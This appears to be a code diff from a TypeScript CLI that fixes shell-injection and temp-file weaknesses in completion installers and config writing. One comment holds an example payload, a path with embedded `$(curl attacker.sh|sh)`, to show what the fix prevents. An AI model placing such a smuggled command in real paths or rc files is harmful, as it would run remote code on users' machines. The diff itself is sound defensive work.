// models can otherwise mistake the workflow name for a tool to call (#925).
|
||||
return `---
|
||||
name: ${escapeYamlValue(`opsx-${content.id}`)}
|
||||
description: ${escapeYamlValue(content.description)}
|
||||
invokable: true
|
||||
---
|
||||
|
||||
This workflow prompt is already active. Follow its instructions directly. Do not call a tool named after this workflow.
|
||||
|
||||
${content.body}
|
||||
`;
|
||||
},
|
||||
|
||||
@@ -10,14 +10,14 @@ import type { CommandContent, ToolCommandAdapter } from '../types.js';
|
||||
|
||||
/**
|
||||
* Kilo Code adapter for command generation.
|
||||
* File path: .kilocode/workflows/opsx-<id>.md
|
||||
* File path: .kilo/command/opsx-<id>.md
|
||||
* Format: Plain markdown without frontmatter
|
||||
*/
|
||||
export const kilocodeAdapter: ToolCommandAdapter = {
|
||||
toolId: 'kilocode',
|
||||
|
||||
getFilePath(commandId: string): string {
|
||||
return path.join('.kilocode', 'workflows', `opsx-${commandId}.md`);
|
||||
return path.join('.kilo', 'command', `opsx-${commandId}.md`);
|
||||
},
|
||||
|
||||
formatFile(content: CommandContent): string {
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
import type { CommandContent, ToolCommandAdapter, GeneratedCommand } from './types.js';
|
||||
import { getInvocationForAdapter, needsInvocationRewrite } from './invocation.js';
|
||||
import { transformCommandInvocations } from '../../utils/command-references.js';
|
||||
import { assertWorkflowConditionalsResolved } from '../templates/optional-workflow.js';
|
||||
|
||||
/**
|
||||
* Generate a single command file using the provided adapter.
|
||||
@@ -26,6 +27,11 @@ export function generateCommand(
|
||||
content: CommandContent,
|
||||
adapter: ToolCommandAdapter
|
||||
): GeneratedCommand {
|
||||
assertWorkflowConditionalsResolved(
|
||||
content.body,
|
||||
`Command '${content.id}' was generated without resolving its optional-workflow blocks`
|
||||
);
|
||||
|
||||
const invocation = getInvocationForAdapter(adapter);
|
||||
const formatted = needsInvocationRewrite(invocation)
|
||||
? { ...content, body: transformCommandInvocations(content.body, invocation) }
|
||||
|
||||
@@ -18,8 +18,8 @@
|
||||
* non-TTY runs, which are deferred rather than consumed (see `silent`)
|
||||
*/
|
||||
import * as fs from 'node:fs';
|
||||
import * as path from 'node:path';
|
||||
import { getGlobalConfigPath } from './global-config.js';
|
||||
import { writeFileAtomically } from './file-state.js';
|
||||
import { isCiEnvironment } from '../utils/ci.js';
|
||||
import { detectShell } from '../utils/shell-detection.js';
|
||||
import { CompletionFactory } from './completions/factory.js';
|
||||
@@ -109,18 +109,17 @@ function readRawConfig(): Record<string, unknown> | null {
|
||||
* write down to this one key, and the rename keeps a reader from ever seeing a
|
||||
* half-written config.
|
||||
*/
|
||||
function markTipSeen(): void {
|
||||
async function markTipSeen(): Promise<void> {
|
||||
const configPath = getGlobalConfigPath();
|
||||
const current = readRawConfig() ?? {};
|
||||
const tempPath = `${configPath}.${process.pid}.tmp`;
|
||||
|
||||
fs.mkdirSync(path.dirname(configPath), { recursive: true });
|
||||
fs.writeFileSync(
|
||||
tempPath,
|
||||
JSON.stringify({ ...current, completionTipSeen: true }, null, 2) + '\n',
|
||||
'utf-8'
|
||||
// The shared atomic writer: randomized temp name, owner-only mode, temp file
|
||||
// removed on failure. A predictable `<config>.<pid>.tmp` at the default mode
|
||||
// is both guessable and world-readable once renamed over the config.
|
||||
await writeFileAtomically(
|
||||
configPath,
|
||||
JSON.stringify({ ...current, completionTipSeen: true }, null, 2) + '\n'
|
||||
);
|
||||
fs.renameSync(tempPath, configPath);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -148,7 +147,7 @@ export async function maybeShowCompletionTip(
|
||||
|
||||
// Record before printing: if the flag cannot be persisted, staying quiet
|
||||
// beats reprinting the tip on every future run.
|
||||
markTipSeen();
|
||||
await markTipSeen();
|
||||
if (decision === 'show') {
|
||||
console.error(`\n${COMPLETION_TIP_MESSAGE}`);
|
||||
}
|
||||
|
||||
@@ -3,6 +3,7 @@ import path from 'path';
|
||||
import os from 'os';
|
||||
import { FileSystemUtils } from '../../../utils/file-system.js';
|
||||
import { InstallationResult } from '../factory.js';
|
||||
import { shellSingleQuote } from './shell-quote.js';
|
||||
|
||||
/**
|
||||
* Installer for Bash completion scripts.
|
||||
@@ -115,10 +116,11 @@ export class BashInstaller {
|
||||
* @returns Configuration content
|
||||
*/
|
||||
private generateBashrcConfig(completionsDir: string): string {
|
||||
const quotedDir = shellSingleQuote(completionsDir);
|
||||
return [
|
||||
'# OpenSpec shell completions configuration',
|
||||
`if [ -d "${completionsDir}" ]; then`,
|
||||
` for f in "${completionsDir}"/*; do`,
|
||||
`if [ -d ${quotedDir} ]; then`,
|
||||
` for f in ${quotedDir}/*; do`,
|
||||
' [ -f "$f" ] && . "$f"',
|
||||
' done',
|
||||
'fi',
|
||||
@@ -203,9 +205,11 @@ export class BashInstaller {
|
||||
// Remove lines between markers (inclusive)
|
||||
lines.splice(startIndex, endIndex - startIndex + 1);
|
||||
|
||||
// Remove trailing empty lines
|
||||
while (lines.length > 0 && lines[lines.length - 1].trim() === '') {
|
||||
lines.pop();
|
||||
// Install puts the block at the top of the file followed by one blank
|
||||
// separator line; drop that line too so the file reads as it did before.
|
||||
// Everything else, including the file's final newline, is left as is.
|
||||
if (startIndex === 0 && lines.length > 0 && lines[0].trim() === '') {
|
||||
lines.shift();
|
||||
}
|
||||
|
||||
// Write back
|
||||
@@ -328,14 +332,19 @@ export class BashInstaller {
|
||||
private generateInstructions(installedPath: string): string[] {
|
||||
const completionsDir = path.dirname(installedPath);
|
||||
|
||||
// Quoted exactly like the auto-configured block: these lines are printed
|
||||
// for the user to paste into their own rc file, so an expansion left in
|
||||
// them runs on every future shell start.
|
||||
const quotedDir = shellSingleQuote(completionsDir);
|
||||
|
||||
return [
|
||||
'Completion script installed successfully.',
|
||||
'',
|
||||
'To enable completions, add the following to your ~/.bashrc file:',
|
||||
'',
|
||||
` # Source OpenSpec completions`,
|
||||
` if [ -d "${completionsDir}" ]; then`,
|
||||
` for f in "${completionsDir}"/*; do`,
|
||||
` if [ -d ${quotedDir} ]; then`,
|
||||
` for f in ${quotedDir}/*; do`,
|
||||
' [ -f "$f" ] && . "$f"',
|
||||
' done',
|
||||
' fi',
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
/**
|
||||
* Quote a path as a POSIX shell single-quoted literal.
|
||||
*
|
||||
* Completion directories are derived from XDG_DATA_HOME / HOME, which are never
|
||||
* escaped. Interpolated into a double-quoted rc line, a value like
|
||||
* `/tmp/x$(curl attacker.sh|sh)` would run on every new shell; single quotes
|
||||
* suppress every expansion, and the `'\''` dance closes, escapes, and reopens
|
||||
* the quote around any literal apostrophe.
|
||||
*/
|
||||
export function shellSingleQuote(value: string): string {
|
||||
return `'${value.replace(/'/g, `'\\''`)}'`;
|
||||
}
|
||||
@@ -3,6 +3,7 @@ import path from 'path';
|
||||
import os from 'os';
|
||||
import { FileSystemUtils } from '../../../utils/file-system.js';
|
||||
import { InstallationResult } from '../factory.js';
|
||||
import { shellSingleQuote } from './shell-quote.js';
|
||||
|
||||
/**
|
||||
* Installer for Zsh completion scripts.
|
||||
@@ -119,7 +120,7 @@ export class ZshInstaller {
|
||||
private generateZshrcConfig(completionsDir: string): string {
|
||||
return [
|
||||
'# OpenSpec shell completions configuration',
|
||||
`fpath=("${completionsDir}" $fpath)`,
|
||||
`fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
|
||||
'autoload -Uz compinit',
|
||||
'compinit',
|
||||
].join('\n');
|
||||
@@ -377,7 +378,7 @@ export class ZshInstaller {
|
||||
'To enable completions, add the following to your ~/.zshrc file:',
|
||||
'',
|
||||
` # Add completions directory to fpath`,
|
||||
` fpath=(${completionsDir} $fpath)`,
|
||||
` fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
|
||||
'',
|
||||
' # Initialize completion system',
|
||||
' autoload -Uz compinit',
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user